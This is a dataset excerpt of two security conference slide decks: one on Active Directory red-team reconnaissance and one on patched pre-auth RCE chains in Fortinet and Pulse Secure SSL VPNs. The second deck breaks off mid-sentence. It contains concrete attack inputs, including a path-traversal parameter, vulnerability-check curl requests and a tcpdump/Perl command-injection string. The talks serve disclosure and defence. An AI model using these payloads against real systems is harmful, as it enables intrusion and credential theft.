text
stringlengths
100
9.93M
category
stringclasses
11 values
Beyond the MCSE: Red Teaming Active Directory Sean Metcalf (@Pyrotek3) s e a n @ adsecurity . org www.ADSecurity.org About Me Founder Trimarc, a security company. Microsoft Certified Master (MCM) Directory Services Microsoft MVP Speaker: Black Hat, BSides, DEF CON, DerbyCon, Shakacon Security Consultant / Security Researcher Own & Operate ADSecurity.org (Microsoft platform security info) | @PryoTek3 | sean @ adsecurity.org | Agenda Key AD components Offensive PowerShell Effective AD Recon AD Defenses & Bypasses Security Pro’s Checklist | @PryoTek3 | sean @ adsecurity.org | Hacking the System PS> Get-FullAccess | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | Differing Views of Active Directory •Administrator •Security Professional •Attacker Complete picture is not well understood by any single one of them | @PryoTek3 | sean @ adsecurity.org | AD Administrator/Engineer | @PryoTek3 | sean @ adsecurity.org | Security Pro | @PryoTek3 | sean @ adsecurity.org | Attacker | @PryoTek3 | sean @ adsecurity.org | Active Directory Security | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | Can Control Another Domain in the Forest!?! Admins in One Domain | @PryoTek3 | sean @ adsecurity.org | Domain Controllers • Contains & replicates domain data. • Provides authentication & directory services. • Central set of servers for client communication. • Can host the Global Catalog. • Stores the domain AD database (NTDS.dit). • Hosts the domain DFS root (\\domain.com\) & NETLOGON & SYSVOL shares. • DNS (AD-Integrated) | @PryoTek3 | sean @ adsecurity.org | Read-Only Domain Controllers •Read-only DC, DNS, SYSVOL •RODC Admin delegation to non DAs •No passwords cached (default) •KRBTGT cryptographically isolated •RODC escalation via delegation •msDS-AuthenticatedToAccountList & msDS-RevealedList | @PryoTek3 | sean @ adsecurity.org | DC Discovery (DNS) | @PryoTek3 | sean @ adsecurity.org | DC Discovery (ADSI) | @PryoTek3 | sean @ adsecurity.org | Sites & Subnets •Map AD to physical locations for replication. •Subnet-Site association for resource discovery. •Asset discovery: •Domain Controllers •Exchange Servers •SCCM •DFS shares | @PryoTek3 | sean @ adsecurity.org | Group Policy •User & computer management •Create GPO & link to OU •Comprised of: • Group Policy Object (GPO) in AD • Group Policy Template (GPT) files in SYSVOL • Group Policy Client Side Extensions on clients •Modify GPO or GPT… | @PryoTek3 | sean @ adsecurity.org | Group Policy Capability •Configure security settings. •Add local Administrators. •Add update services. •Deploy scheduled tasks. •Install software. •Run user logon/logoff scripts. •Run computer startup/shutdown scripts. | @PryoTek3 | sean @ adsecurity.org | PowerShell as an Attack Platform | @PryoTek3 | sean @ adsecurity.org | Quick PowerShell Attack History • Summer 2010 - DEF CON 18: Dave Kennedy & Josh Kelly “PowerShell OMFG!” https://www.youtube.com/watch?v=JKlVONfD53w • Describes many of the PowerShell attack techniques used today (Bypass exec policy, -Enc, & IE). • Released PowerDump to dump SAM database via PowerShell. • 2012 – PowerSploit, a GitHub repo started by Matt Graeber, launched with Invoke- Shellcode. • “Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.” • 2013 - Invoke-Mimkatz released by Joe Bialek which leverages Invoke-ReflectivePEInjection. | @PryoTek3 | sean @ adsecurity.org | PowerShell v5 Security Enhancements •Script block logging •System-wide transcripts (w/ invocation header) •Constrained PowerShell enforced with AppLocker •Antimalware Integration (Win 10) http://blogs.msdn.com/b/powershell/archive/2015/06/09/powershell-the-blue-team.aspx | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | Windows 10: AntiMalware Scan Interface (AMSI) | @PryoTek3 | sean @ adsecurity.org | Bypassing Windows 10 AMSI • DLL hijacking: http://cn33liz.blogspot.nl/2016/05/bypassing-amsi- using-powershell-5-dll.html • Use Reflection: | @PryoTek3 | sean @ adsecurity.org | Metasploit PowerShell Module | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | PS Constrained Language Mode? | @PryoTek3 | sean @ adsecurity.org | PowerShell v5 Security Log Data? | @PryoTek3 | sean @ adsecurity.org | Effective AD Recon Gaining better target knowledge than the Admins… | @PryoTek3 | sean @ adsecurity.org | Active Directory Forest Info | @PryoTek3 | sean @ adsecurity.org | Active Directory Domain Info | @PryoTek3 | sean @ adsecurity.org | Forest & Domain Trusts | @PryoTek3 | sean @ adsecurity.org | Digging for Gold in AD •Default/Weak passwords •Passwords stored in user attributes •Sensitive data •Incorrectly secured data •Extension Attribute data •Deleted Objects | @PryoTek3 | sean @ adsecurity.org | Discovering Data •Invoke-UserHunter: • User home directory servers & shares • User profile path servers & shares • Logon script paths •Performs Get-NetSession against each. •Discovering DFS shares •Admin hunting… follow Will Harmjoy’s work: blog.harmj0y.net | @PryoTek3 | sean @ adsecurity.org | Useful AD User Properties • Created • Modified • CanonicalName • Enabled • Description • LastLogonDate • DisplayName • AdminCount • SIDHistory • PasswordLastSet • PasswordNeverExpires • PasswordNotRequired • PasswordExpired • SmartcardLogonRequired • AccountExpirationDate • LastBadPasswordAttempt • msExchHomeServerName • CustomAttribute1 - 50 • ServicePrincipalName | @PryoTek3 | sean @ adsecurity.org | Useful AD Computer Properties • Created • Modified • Enabled • Description • LastLogonDate (Reboot) • PrimaryGroupID (516 = DC) • PasswordLastSet (Active/Inactive) • CanonicalName • OperatingSystem • OperatingSystemServicePack • OperatingSystemVersion • ServicePrincipalName • TrustedForDelegation • TrustedToAuthForDelegation | @PryoTek3 | sean @ adsecurity.org | DNS via LDAP | @PryoTek3 | sean @ adsecurity.org | Discover Computers & Services without Port Scanning aka “SPN Scanning” | @PryoTek3 | sean @ adsecurity.org | Discover Enterprise Services without Port Scanning • SQL servers, instances, ports, etc. • MSSQLSvc/adsmsSQL01.adsecurity.org:1433 • RDP • TERMSERV/adsmsEXCAS01.adsecurity.org • WSMan/WinRM/PS Remoting • WSMAN/adsmsEXCAS01.adsecurity.org • Forefront Identity Manager • FIMService/adsmsFIM01.adsecurity.org • Exchange Client Access Servers • exchangeMDB/adsmsEXCAS01.adsecurity.org • Microsoft SCCM • CmRcService/adsmsSCCM01.adsecurity.org | @PryoTek3 | sean @ adsecurity.org | SPN Scanning SPN Directory: http://adsecurity.org/?page_id=183 | @PryoTek3 | sean @ adsecurity.org | Cracking Service Account Passwords (Kerberoast) Request/Save TGS service tickets & crack offline. “Kerberoast” python-based TGS password cracker. No elevated rights required. No traffic sent to target. https://github.com/nidem/kerberoast | @PryoTek3 | sean @ adsecurity.org | Discover Admin Accounts: Group Enumeration | @PryoTek3 | sean @ adsecurity.org | Discover Admin Accounts – RODC Groups | @PryoTek3 | sean @ adsecurity.org | Discover Admin Accounts – AdminCount = 1 | @PryoTek3 | sean @ adsecurity.org | Discover AD Groups with Local Admin Rights | @PryoTek3 | sean @ adsecurity.org | Discover AD Groups with Local Admin Rights | @PryoTek3 | sean @ adsecurity.org | Attack of the Machines: Computers with Admin Rights | @PryoTek3 | sean @ adsecurity.org | Discover Users with Admin Rights | @PryoTek3 | sean @ adsecurity.org | Discover Virtual Admins | @PryoTek3 | sean @ adsecurity.org | Follow the Delegation… | @PryoTek3 | sean @ adsecurity.org | Follow the Delegation… | @PryoTek3 | sean @ adsecurity.org | Discover Admin Accounts: Group Policy Preferences \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ | @PryoTek3 | sean @ adsecurity.org | Identify Partner Organizations via Contacts | @PryoTek3 | sean @ adsecurity.org | Identify Domain Password Policies | @PryoTek3 | sean @ adsecurity.org | Identify Fine-Grained Password Policies | @PryoTek3 | sean @ adsecurity.org | Group Policy Discovery | @PryoTek3 | sean @ adsecurity.org | Identify AppLocker Whitelisting Settings | @PryoTek3 | sean @ adsecurity.org | Identify Microsoft EMET Configuration | @PryoTek3 | sean @ adsecurity.org | Identify Microsoft LAPS Delegation | @PryoTek3 | sean @ adsecurity.org | Identify Microsoft LAPS Delegation | @PryoTek3 | sean @ adsecurity.org | AD Defenses & Bypasses | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | Graphic by Florian Roth (@cyb3rops) HoneyTokens, HoneyCredentials… •Credentials injected into memory. •Deployment method? •May or may not be real on the network. •Validate account data with AD. •Avoid these. | @PryoTek3 | sean @ adsecurity.org | Randomized Local Admin PW (LAPS) •PowerUp to local admin rights. •Dump service credentials. •Leverage credentials to escalate privileges. •Find AD accounts with local admin rights. •Find AD accounts with LAPS password view rights. •Find secondary admin account not managed by LAPS. | @PryoTek3 | sean @ adsecurity.org | Network Segmentation •“High Value Targets” isolated on the network. •Admin systems on separate segments. •Find admin accounts for these systems & where they logon. •Compromise patching system to gain access. (see PowerSCCM in PowerSploit). | @PryoTek3 | sean @ adsecurity.org | No Domain Admins •Check domain “Administrators” membership. •Look for custom delegation: •“Tier” or “Level” •Workstation/Server Admins •Somebody has rights! | @PryoTek3 | sean @ adsecurity.org | Privileged Admin Workstation (PAW) • Active Directory Admins only logon to PAWs. • Should have limited/secured communication. • Should be in their own OU. • May be in another forest (Red/Admin Forest). • Compromise install media or patching system. • Compromise in/out comms. | @PryoTek3 | sean @ adsecurity.org | Jump (Admin) Servers • If Admins are not using Admin workstations, keylog for creds on admin’s workstation. • Discover all potential remoting services. • RDP • WMI • WinRM/PowerShell Remoting • PSExec • NamedPipe • Compromise a Jump Server, 0wn the domain! | @PryoTek3 | sean @ adsecurity.org | AD Admin Tiers | @PryoTek3 | sean @ adsecurity.org | https://technet.microsoft.com/en-us/library/mt631193.aspx AD Admin Tiers | @PryoTek3 | sean @ adsecurity.org | https://technet.microsoft.com/en-us/library/mt631193.aspx ESAE Admin Forest (aka “Red Forest”) | @PryoTek3 | sean @ adsecurity.org | https://technet.microsoft.com/en-us/library/mt631193.aspx#ESAE_BM ESAE Admin Forest (aka “Red Forest”) • The “best” way to secure & protect AD. • Separate forest with one-way forest trust. • Separate smart card PKI system. • Separate updating & patching system. • All administration performed w/ ESAE accounts & ESAE computers. • Completely isolated. | @PryoTek3 | sean @ adsecurity.org | Universal Bypass for Most Defenses •Service Accounts •Over-permissioned •Not protected like Admins •Weak passwords •No 2FA/MFA •Limited visibility/understanding | @PryoTek3 | sean @ adsecurity.org | Interesting AD Facts •All Authenticated Users have read access to: • Most (all) objects & their attributes in AD (even across trusts!). • Most (all) contents in the domain share “SYSVOL” which can contain interesting scripts & files. | @PryoTek3 | sean @ adsecurity.org | Interesting AD Facts: •Standard user account… • Elevated rights through “SID History” without being a member of any groups. • Ability to modify users/groups without elevated rights w/ custom OU ACLs. • Modify rights to an OU or domain- linked GPO, compromise domain. | @PryoTek3 | sean @ adsecurity.org | Red-Team Goodies •Domain Admin account password hashes. •Krbtgt password hashes. •DC computer account password hashes. •NetApp/storage device password hashes. •DSRM account password hashes from every DC. | @PryoTek3 | sean @ adsecurity.org | A Security Pro’s AD Checklist • Identify who has AD admin rights (domain/forest). • Identify DC logon rights. • Identify virtual host admins (virtual DCs). • Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions. • Ensure AD admins protect their credentials by not logging into untrusted systems (workstations). • Limit service account rights that are currently DA (or equivalent). | @PryoTek3 | sean @ adsecurity.org | PowerView AD Recon Cheat Sheet • Get-NetForest • Get-NetDomain • Get-NetForestTrust • Get-NetDomainTrust • Invoke-MapDomainTrust • Get-NetDomainController • Get-DomainPolicy • Get-NetGroup • Get-NetGroupMember • Get-NetGPO • Get-NetGPOGroup • Get-NetUser • Invoke-ACLScanner | @PryoTek3 | sean @ adsecurity.org | Summary •AD stores the history of an organization. •Ask the right questions to know more than the admins. •Quickly recon AD in hours (or less) •Business requirements subvert security. •Identify proper leverage and apply. | @PryoTek3 | sean @ adsecurity.org | Questions? Sean Metcalf (@Pyrotek3) s e a n @ adsecurity . org www.ADSecurity.org Slides: Presentations.ADSecurity.org | @PryoTek3 | sean @ adsecurity.org | References • PowerShell Empire http://PowerShellEmpire.com • Active Directory Reading Library https://adsecurity.org/?page_id=41 • Read-Only Domain Controller (RODC) Information https://adsecurity.org/?p=274 • DEF CON 18: Dave Kennedy & Josh Kelly “PowerShell OMFG!” https://www.youtube.com/watch?v=JKlVONfD53w • PowerShell v5 Security Enhancements http://blogs.msdn.com/b/powershell/archive/2015/06/09/powershell- the-blue-team.aspx • Detecting Offensive PowerShell Attack Tools https://adsecurity.org/?p=2604 • Active Directory Recon Without Admin Rights https://adsecurity.org/?p=2535 | @PryoTek3 | sean @ adsecurity.org | References • Mining Active Directory Service Principal Names http://adsecurity.org/?p=230 • SPN Directory: http://adsecurity.org/?page_id=183 • PowerView GitHub Repo (PowerSploit) https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon • Will Schroeder (@harmj0y): I have the PowerView (Offensive Active Directory PowerShell) Presentation http://www.slideshare.net/harmj0y/i-have-the-powerview • MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege http://adsecurity.org/?tag=ms14068 • Microsoft Enhanced security patch KB2871997 http://adsecurity.org/?p=559 • Tim Medin’s DerbyCon 2014 presentation: “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades” https://www.youtube.com/watch?v=PUyhlN-E5MU • Microsoft: Securing Privileged Access Reference Material https://technet.microsoft.com/en-us/library/mt631193.aspx • TechEd North America 2014 Presentation: TWC: Pass-the-Hash and Credential Theft Mitigation Architectures (DCIM-B213) Speakers: Nicholas DiCola, Mark Simos http://channel9.msdn.com/Events/TechEd/NorthAmerica/2014/DCIM-B213 | @PryoTek3 | sean @ adsecurity.org | References • Mimikatz https://adsecurity.org/?page_id=1821 • Attack Methods for Gaining Domain Admin Rights in Active Directory https://adsecurity.org/?p=2362 • Microsoft Local Administrator Password Solution (LAPS) https://adsecurity.org/?p=1790 • The Most Common Active Directory Security Issues and What You Can Do to Fix Them https://adsecurity.org/?p=1684 • How Attackers Dump Active Directory Database Credentials https://adsecurity.org/?p=2398 • Sneaky Active Directory Persistence Tricks https://adsecurity.org/?p=1929 | @PryoTek3 | sean @ adsecurity.org | Detecting/Mitigating PS>Attack • Discover PowerShell in non-standard processes. • Get-Process modules like “*Management.Automation*” | @PryoTek3 | sean @ adsecurity.org | | @PryoTek3 | sean @ adsecurity.org | Detecting EXEs Hosting PowerShell •Event 800: HostApplication not standard Microsoft tool •Event 800: Version mismatch between HostVersion & EngineVersion (maybe). •System.Management.Automation.dll hosted in non-standard processes. •EXEs can natively call .Net & Windows APIs directly without PowerShell. | @PryoTek3 | sean @ adsecurity.org |
pdf
Infiltrating Corporate Intranet Like NSA Pre-auth RCE on Leading SSL VPNs Orange Tsai (@orange_8361) Meh Chang (@mehqq_) USA 2019 Orange Tsai • Principal security researcher at DEVCORE • Captain of HITCON CTF team • 0day researcher, focusing on Web/Application security orange_8361 Meh Chang mehqq_ • Security researcher at DEVCORE • HITCON & 217 CTF team • Focus on binary exploitation Highlights today • PreAuth root RCE exploit chain on Fortinet SSL VPN • Hard-core binary exploitation • Magic backdoor • PreAuth root RCE exploit chain on Pulse Secure SSL VPN • Out-of-box web exploitation • Highest bug bounty from Twitter ever • New attack surface to compromise back all your VPN clients Agenda • Introduction • Jailbreak the SSL VPN • Attack vectors • Case studies & Demos • Weaponize the SSL VPN • Recommendations SSL VPN • Trusted by large corporations to protect their assets • Work with any network environments and firewalls • Clientless, a web browser can do everything! SSL VPN Browser SSL/TLS Intranet What if your trusted SSL VPN is insecure? Why focusing on SSL VPN 1. Important corporate assets but a blind-spot 2. Widely used by corporations of all sizes 3. Only few SSL VPN vendors dominate the market 4. Direct Intranet access and must be exposed to outside Even NSA is hunting bugs on SSL VPN Think about Equation Group leaks They are usually forgotten A silent-fix case • We accidentally found a preAuth RCE on Palo Alto SSL VPN during our Red Team assessment • A silent fixed 1-day: • No CVE • No advisory • No official announcement Hacking Uber as showcase Response from Palo Alto PSIRT Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know. Number of high severity CVEs 159 50 26 17 13 6 Cisco F5 Palo Alto Citrix Fortinet Pulse Secure https://nvd.nist.gov We focus on… • Pulse Secure SSL VPN • More than 50,000+ servers operating on the Internet • Trusted by large corporations, service providers and government entities • Fortigate SSL VPN • More than 480,000+ servers operating on the Internet • Prevalent among medium-sized enterprises Let's start hacking Difficulties for kick-starting • SSL VPN is a black box and close source appliance • All-in-one & Build their own architecture stacks from scratch • Only restricted shell provided • Jailbreak is the prerequisite for further researches Jailbreak the SSL VPN • We are not hardware guys :( • So we look into the virtual image first • Analyzing virtual images 1. Typical virtual images 2. Encrypted virtual images Typical virtual images • If there is no LILO or GRUB password protected, we can just enter the Single-User mode • Mount the .VMDK on your Linux box and modify the filesystem • /etc/crontab • /etc/ld.so.conf • /etc/passwd • Many ways… What if the disk has been encrypted? Encrypted virtual images BIOS/MBR LILO/GRUB • Stage 1 • Stage 2 vmlinuz kernel • zImagea • bzImage /sbin/init • vmlinuz kernel • Level - Hard • Reverse engineering for the win! • /sbin/init • Level - Easy • Memory forensics for the win! The booting process BIOS LILO Kernel /sbin/init ????????????????? The booting process BIOS LILO Kernel /sbin/init ????????????????? Find the vital point BIOS LILO Kernel /sbin/init /home/bin/dsconfig.pl Memory Forensics In-memory patch Memory Patch BIOS LILO Kernel /sbin/init ///////////////bin/sh Once we press <Enter>… BIOS LILO Kernel /sbin/init ///////////////bin/sh Digging at a correct place Attack vectors • WebVPN • Native script language extensions • Multi-layered architecture problems WebVPN • A convenient proxy feature – Portable & Clientless • Proxy all kinds of traffics through the web browser • Supports various protocols • HTTP, FTP, TELNET, SSH, SMB, RDP … • Handles various web resources • Websocket, JavaScript, Flash, Java Applet … WebVPN implementation • Build from scratch • Protocols, web resources handling are prone to memory bugs • Requires high security awareness • Debug function • Logging sensitive data • Information exposed WebVPN implementation • Modify from an open source project • Copy the code, copy the bugs • Hard to maintain & update & patch • Call existing libraries • Neglect to update • Libcurl (2008), Libxml (2009) • Most SSL VPNs have their own native script language extensions • En/Decoding in C/C++ • Type confusion between languages Web Stack F5 Networks PHP / C (Apache extension) Cisco Lua / C (self-implemented server) Pulse Secure Perl / C++ (self-implemented server) Fortigate Nginx / C (Apache extension) Palo Alto PHP / C (AppWeb extension) Citrix PHP / C (self-implemented server) Native script language extensions En/Decoding in C/C++ • String operation is always difficult for C language • Buffer size calculation • Dangerous functions • Misunderstood functions ret = snprintf(buf, buf_size, format, …); left_buf_size = buf_size – ret; Type confusion • Type seems the same but … • Perl or C? • Perl string or C string? • What TYPE is it? my ($var) = @_; EXTENSION::C_function($var); Multi-layered architecture problems • Inconsistency between each architecture layer • Failed patterns • Reverse proxy + Java web = Fail • Breaking Parser Logic by Orange Tsai from Black Hat USA 2018 • Customized(C/C++) web server + RESTful API backend Failed Patterns https://sslvpn/public/images/x/front_x/../../../../some.php • ACL bypass on customized C webserver + RESTful backend • Abuse Regular Expression greedy mode to bypass path check ^/public/images/.+/(front|background)_.+ • Dispatched to backend PHP engine and access privileged pages Case studies Pre-auth remote code execution on Fortigate SSL VPN Pre-auth remote code execution on Pulse Secure SSL VPN Disclaimer All the CVEs mentioned below have been reported and patched by Fortigate and Pulse Secure Fortigate SSL VPN • All programs and configurations compiled into / • About 500 MB, stripped idb with 85k functions • Plenty of function tables • Customized web daemons • Based on apache since 2002 • Self-implemented apache module /bin/init Fortigate web interface Worth mentioning bugs • Pre-auth RCE chain • CVE-2018-13379: Pre-auth arbitrary file reading • CVE-2018-13382: Post-auth heap overflow • The magic backdoor • CVE-2018-13383: Modify any user’s password with a magic key Arbitrary file reading • A function reading language json files for users • Concatenate strings directly • No ../ filter • Limited file extension snprintf(s, 0x40, "/migadmin/lang/%s.json", lang); snprintf(s, 0x40, "/migadmin/lang/%s.json", lang); Arbitrary file reading • Utilize the feature of snprintf • The snprintf() and vsnprintf() functions will write at most size-1 of the characters printed into the output string • Appended file extension can be stripped! lang=/../../../..//////////////////////////////bin/sh /migadmin/lang//../../../..//////////////////////////////bin/sh.json 0x40 An SSL VPN mystery Appears in many products … Excessively detailed session file • • Session token • IP address • User name • Plaintext password /dev/cmdb/sslvpn_websession WebVPN WebVPN – HTTP/HTTPS https://sslvpn:4433/proxy/72ebc8b8/https/devco.re/ WebVPN – HTTP/HTTPS Heap overflow vulnerability • HTTP proxy • Perform URL rewriting • JavaScript parsing • memcpy to a 0x2000 heap buffer without length check memcpy(buffer, js_url, js_url_len); Exploitation obstacles • Destabilizing factors of heap • Multiple connection handling with epoll() • Main process and libraries use the same heap – Jemalloc • Regularly triggered internal operations unrelated to connection • Apache additional memory management • No free() unless connection ends Jemalloc allocator limitation • Centralize small objects • Stores small regions in corresponding runs • Reduce interference between small and large objects • Limit target options header bitmap reg 0 reg 1 reg 2 … reg N header bitmap reg 0 reg 1 … reg N run (0x20) run (0x30) Surprise! Program received signal SIGSEGV, Segmentation fault. 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4- x86_64/lib/libssl.so.1.1 2: /x $rax = 0x41414141 1: x/i $pc => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax) (gdb) SSL structure (OpenSSL) • Stores information of each SSL connection • Ideal target Allocation triggered easily Size close to JavaScript buffer Nearby JavaScript buffer with regular offset (k + N pages) Useful structure members Useful structure members typedef struct ssl_st SSL; struct ssl_st { int version; const SSL_METHOD *method; //func table … int (*handshake_func) (SSL *); }; Mess up connections • Overflow SSL structure • Establish massive connections • Lots of normal requests • One overflow request Fortigate SSL VPN Massive connections Normal request Overflow request Normal request Normal request Fuzzer Exploit between connections HEAP MEMORY SSL SSL SSL Connection 1 Connection 2 Connection 3 LOW HIGH Original SSL structure HEAP MEMORY SSL SSL SSL version method *handshake _func ssl_accept() … … LOW HIGH Trigger JavaScript Parsing HEAP MEMORY SSL SSL SSL version method *handshake _func ssl_accept() … … LOW HIGH JS Buffer Allocate LOW HIGH Overflow SSL structure HEAP MEMORY SSL SSL SSL version method ssl_accept() JS Buffer memcpy(buffer, js_url, js_url_len); *handshake _func … … AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *handshake _func … … LOW HIGH From SEGFAULT to RCE HEAP MEMORY SSL SSL SSL version method *handshake _func ssl_accept() … … AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LOW HIGH Forge SSL structure HEAP MEMORY SSL SSL version method system() JS Buffer SSL *handshake _func … … Enjoy your shell! • Send fuzzy connections to meet the condition • Daemon may crash multiple times • Fortigate owns a reliable watchdog! • Get a shell in 1~2 minutes Make your life easier Find another Door to get in MAGIC backdoor • A “magic” parameter • Secret key for reset password • Designed for updating outdated password • but lack of authentication Demo Pop a root shell from the only exposed HTTPS port Pulse Secure SSL VPN • Pulse Secure was formed a divestiture of Juniper Networks • Customized web server and architecture stack • Perl enthusiast - numerous Perl extensions in C++ • LD_PRELOAD all processes with: • libsafe.so - Detect and protect against stack smashing attacks • libpreload.so - User-mode networking system call hooks Vulnerabilities we found • CVE-2019-11510 - Pre-auth arbitrary file reading • CVE-2019-11538 - Post-auth NFS arbitrary file reading • CVE-2019-11508 - Post-auth NFS arbitrary file writing • CVE-2019-11542 - Post-auth stack buffer overflow • CVE-2019-11539 - Post-auth command injection • CVE-2019-11540 - XSSI session hijacking • CVE-2019-11507 - Cross-site scripting Arbitrary file reading • CVE-2019-11510 – Webserver-level pre-auth file reading • Pulse Secure has introduced a new feature HTML5 Access since SSL VPN version 8.2 • A new solution to access Telnet, SSH and RDP via browsers • To handle static resources, Pulse Secure created a new IF-case to widen the original strict path validation Am I affected by this vuln? • Probably YES! • All un-patched version are vulnerable except the End-of-Life 8.1 code $ curl -I 'https://sslvpn/dana-na///css/ds.js' HTTP/1.1 400 Invalid Path $ curl -I 'https://sslvpn/dana-na///css/ds.js?/dana/html5acc/guacamole/' HTTP/1.1 200 OK What can we extract? 1. Private keys and system configuration(LDAP, RADIUS and SAML…) 2. Hashed user passwords(md5_crypt) 3. Sensitive cookies in WebVPN(ex: Google, Dropbox and iCloud…) 4. Cached user plaintext passwords What can we extract? 1. Private keys and system configuration(LDAP, RADIUS and SAML…) 2. Hashed user passwords(md5_crypt) 3. Sensitive cookies via WebVPN(ex: Google, Dropbox and iCloud…) 4. Cached user plaintext passwords Command Injection • CVE-2019-11539 – Post-auth Command Injection sub tcpdump_options_syntax_check { my $options = shift; return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0; return undef; } /dana-admin/diag/diag.cgi Command Injection Pulse Secure hardenings • Several hardenings on Pulse Secure SSL VPN… 1. System integrity check 2. Read-only filesystem(only /data are writable) 3. The DSSafe.pm as a safeguard protects Perl from dangerous operations The Perl gatekeeper • DSSafe.pm • A Perl-C extension hooks several Perl function such as: • system, open, popen, exec, backstick… • Command-line syntax validation • Disallow numerous bad characters - [\&\*\(\)\{\}\[\]\`\;\|\?\n~<>] • Re-implement the Linux I/O redirections in Perl Failed argument injection :( • TCPDUMP is too old(v3.9.4, Sept 2005) to support post-rotate-command • Observed Pulse Secure caches Perl template result in: • /data/runtime/tmp/tt/*.thtml.ttc • No way to generate a polyglot in both Perl and PCAP Usage: tcpdump [-aAdDeflLnNOpqRStuUvxX] [-c count] [-C file_size] [-E algo:secret] [-F file] [-i interface] [-M secret] [-r file] [-s snaplen] [-T type] [-w pcap-file] [-W filecount] [-z postrotate-command] [-y datalinktype] [-Z user] [expression] /usr/sbin/tcpdump –help >_ Time to dig deeper • Dig into DSSafe.pm more deeply, we found a flaw in command line I/O redirection parsing use DSSafe; system("tcpdump -d $options >/dev/null 2>&1"); system("tcpdump -d -h >file >/dev/null 2>&1"); # `file` not found system("tcpdump -d -h >file < >/dev/null 2>&1"); # `file` created dssafe_example.pl Think out of the box STDOUT is uncontrollable Could we write a valid Perl by just STDERR? Think out of the box $ tcpdump -d -r '123' tcpdump: 123: No such file or directory $ tcpdump -d -r '123' 2>&1 | perl - syntax error at - line 1, near "123:" Execution of - aborted due to compilation errors. Think out of the box $ tcpdump -d -r 'print 123#' tcpdump: print 123#: No such file or directory $ tcpdump -d -r 'print 123#' 2>&1 | perl – 123 tcpdump: print 123#: No such file or directory Code GOTO label Comment Perl 101 /usr/sbin/tcpdump -d -r'$x="ls",system$x#' 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < >/dev/null 2>&1 Our RCE Exploit tcpdump: $x="ls",system$x#: No such file or directory STDERR(2) > /data/runtime/tmp/tt/setcookie.thtml.ttc 1 /usr/sbin/tcpdump -d -r'$x="ls",system$x#' 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < >/dev/null 2>&1 tcpdump: $x="ls",system$x#: No such file or directory STDERR(2) > /data/runtime/tmp/tt/setcookie.thtml.ttc /usr/sbin/tcpdump -d -r'$x="ls",system$x#' 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < >/dev/null 2>&1 2 /usr/sbin/tcpdump -d -r'$x="ls",system$x#' 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < >/dev/null 2>&1 3 tcpdump: $x="ls",system$x#: No such file or directory STDERR(2) > /data/runtime/tmp/tt/setcookie.thtml.ttc /usr/sbin/tcpdump -d -r'$x="ls",system$x#' 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < >/dev/null 2>&1 tcpdump: $x="ls",system$x#: No such file or directory boot bin home lib64 mnt opt proc sys usr var data etc lib lost+found modules pkg sbin tmp ... curl https://sslvpn/dana-na/auth/setcookie.cgi >_ Response from Pulse Secure • Pulse Secure is committed to providing customers with the best Secure Access Solutions for Hybrid IT- SSL VPN and takes security vulnerabilities very seriously • Timeline: • This issue was reported to Pulse Secure PSIRT Team on March 22, 2019 • Pulse Secure fixes all reported issues in short span of time and published the security advisory SA44101 on April 24, 2019 with all software updates that address the vulnerabilities for unpatched versions • Pulse Secure assigned the CVE’s to all reported vulnerabilities and updated the advisory on April 25, 2019 • Pulse Secure sent out a reminder to all customers to apply the security patches on June 26, 2019 • Pulse Secure would like to thank DEVCORE Team for reporting this vulnerability to Pulse Secure and working toward a coordinated disclosure Hacking Twitter • We keep monitoring large corporations who use Pulse Secure by fetching the exposed version and Twitter is one of them • Pulse Secure released the patch on April 25, 2019 and we wait 30 days for Twitter to upgrade the SSL VPN Twitter is vulnerable $ ./pulse_check.py <mask>.twitter.com [*] Date = Thu, 13 Dec 2018 05:34:28 GMT [*] Version = 9.0.3.64015 [*] OK, <mask>.twittr.com is vulnerable Two-factor authentication • Bypass the two-factor authentication 1. Although we can extract cached passwords in plaintext from /lmdb/dataa/data.mdb, we still can not do anything :( 2. Observed Twitter enabled the Roaming Session (enabled by default) 3. Download the /lmdb/randomVal/data.mdb to dump all session 4. Forge the user and reuse the session to bypass the 2FA Restricted admin interface However We only have the hash of admin password in sha256(md5_crypt(salt, …)) $20,160 Make the red team more Red Weaponize the SSL VPN • The old-school method • Watering hole / Drive by download • Replace SSL VPN agent installer • Man-in-the-middle attack Weaponize the SSL VPN • The new method to compromise all VPN 